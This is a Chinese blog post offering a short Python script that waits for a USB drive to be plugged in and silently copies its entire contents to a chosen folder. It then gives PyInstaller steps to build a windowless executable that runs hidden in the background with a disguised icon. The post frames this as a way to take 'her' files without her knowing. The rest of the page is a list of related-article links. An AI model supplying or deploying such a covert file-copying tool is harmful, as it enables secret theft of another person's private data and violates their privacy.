仅用几行Python代码就能复制她的U盘文件?


Posted in Python onJune 26, 2021

代码

# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil
 
# U盘的盘符
usb_path = "E:/"
# 要复制到的路径
save_path = "D:/haha"
 
while (True):
    if os.path.exists(usb_path):
        shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
        break
    else:
        time.sleep(10)

上面就是所有的代码,代码有两个地方要改成你自己的路径,我在代码里注释了

  • usb_path就是U盘的盘符,比如你的电脑有C,D盘,那么U盘插上来以后路径就是E盘
  • save_path就是你要把复制的文件保存在哪里

Python文件打包成exe

1. 在命令行用pip安装 pyinstaller包

pip install pyinstaller

2.下载安装pyinstaler运行时所需要的windows扩展pywin32

mhammond/pywin32

选择最新版的下载,注意要选择对应的python版本(version)和python位数(bittedness)

通过在命令行输入python查看python版本和位数

如下所示为python3.6的32位,需要下载[pywin32-223.win32-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32

如下所示为python3.6的64位,需要下载[pywin32-223.win-amd64-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32

3.在命令行中直接输入下面的指令即可

pyinstaller [opts] yourprogram.py

参数含义

-F    指定打包后只生成一个exe格式的文件(建议写上这个参数)

-D    ?onedir 创建一个目录,包含exe文件,但会依赖很多文件(默认选项)

-c    ?console, ?nowindowed 使用控制台,无界面(默认)

-w    ?windowed, ?noconsole 使用窗口,无控制台

-p    添加搜索路径,让其找到对应的库。

-i    改变生成程序的icon图标(比如给女朋友写的程序,换个好看的图标,默认的很丑)

实例说明

比如你有个python程序叫test.py,绝对路径在[D:\project],打包成一个exe格式的文件

pyinstaller -F D:\project\test.py

条件同上,如果还希望没有控制台的黑框框,在进程中偷偷运行

pyinstaller -F -w D:\project\test.py

条件同上,如果还希望更换程序图标

pyinstaller -F -w -i D:\project\test.ico D:\project\test.py

运行程序

最后双击打开生成的exe文件,你看不到界面,但是可以在任务管理器的后台进程中找到,当有U盘插入,就会自动复制到你设定的地址,然后进程就会自动关闭。

仅用几行Python代码就能复制她的U盘文件?

到此这篇关于仅用几行Python代码就能复制她的U盘文件?的文章就介绍到这了,更多相关Python代码复制U盘文件内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python原始套接字编程示例分享
Feb 21 Python
Python的高级Git库 Gittle
Sep 22 Python
Django中URLconf和include()的协同工作方法
Jul 20 Python
pyenv命令管理多个Python版本
Mar 26 Python
Python实现JSON反序列化类对象的示例
Jan 31 Python
Python pandas常用函数详解
Feb 07 Python
基于python神经卷积网络的人脸识别
May 24 Python
windows下python安装小白入门教程
Sep 18 Python
python爬虫之自制英汉字典
Jun 24 Python
Ubuntu中配置TensorFlow使用环境的方法
Apr 21 Python
秀!学妹看见都惊呆的Python小招数!【详细语言特性使用技巧】
Apr 27 Python
Python 游戏大作炫酷机甲闯关游戏爆肝数千行代码实现案例进阶
Oct 16 Python
总结几个非常实用的Python库
Jun 26 #Python
手残删除python之后的补救方法
Python办公自动化之教你用Python批量识别发票并录入到Excel表格中
Python Pandas模块实现数据的统计分析的方法
Jun 24 #Python
FP-growth算法发现频繁项集——发现频繁项集
能让Python提速超40倍的神器Cython详解
Jun 24 #Python
FP-growth算法发现频繁项集——构建FP树
You might like
PHP基于CURL进行POST数据上传实例
2014/11/10 PHP
php函数连续调用实例分析
2015/07/30 PHP
CentOS 7.2 下编译安装PHP7.0.10+MySQL5.7.14+Nginx1.10.1的方法详解(mini版本)
2016/09/01 PHP
关于ThinkPHP中的异常处理详解
2018/05/11 PHP
Laravel jwt 多表(多用户端)验证隔离的实现
2019/12/18 PHP
jquery 1.3.2 IE8中的一点点的小问题解决方法
2009/07/10 Javascript
JavaScript 继承详解 第一篇
2009/08/30 Javascript
远离JS灾难css灾难之 js私有函数和css选择器作为容器
2011/12/11 Javascript
js浮动图片的动态效果
2013/07/10 Javascript
js实现连续英文字符自动换行兼容ie6 ie7和firefox
2013/09/06 Javascript
嵌入式iframe子页面与父页面js通信的方法
2015/01/20 Javascript
基于jquery实现省市区三级联动效果
2015/12/25 Javascript
javascript基本常用排序算法解析
2017/09/27 Javascript
React实践之Tree组件的使用方法
2017/09/30 Javascript
jQuery实现获取动态添加的标签对象示例
2018/06/28 jQuery
微信小程序实现顶部导航特效
2019/01/28 Javascript
axios如何取消重复无用的请求详解
2019/12/15 Javascript
浅谈Ant Design Pro 菜单自定义 icon
2020/11/17 Javascript
手把手教你如何编译打包video.js
2020/12/09 Javascript
[03:55]2016国际邀请赛中国区预选赛首日TOP10精彩集锦
2016/06/27 DOTA
Python编程对列表中字典元素进行排序的方法详解
2017/05/26 Python
速记Python布尔值
2017/11/09 Python
Django中使用celery完成异步任务的示例代码
2018/01/23 Python
Python简单实现的代理服务器端口映射功能示例
2018/04/08 Python
使用python接入微信聊天机器人
2020/03/31 Python
Python生成指定数量的优惠码实操内容
2019/06/18 Python
在PyCharm中遇到pip安装 失败问题及解决方案(pip失效时的解决方案)
2020/03/10 Python
python绕过图片滑动验证码实现爬取PTA所有题目功能 附源码
2021/01/06 Python
如何用Python徒手写线性回归
2021/01/25 Python
Python对excel的基本操作方法
2021/02/18 Python
canvas学习和滤镜实现代码
2018/08/22 HTML / CSS
法国时尚童装网站:Melijoe
2016/08/10 全球购物
槐乡的孩子教学反思
2014/04/27 职场文书
运动会方队口号
2014/06/07 职场文书
离婚财产分隔协议书
2014/10/23 职场文书
酒店工程部主管岗位职责
2015/04/16 职场文书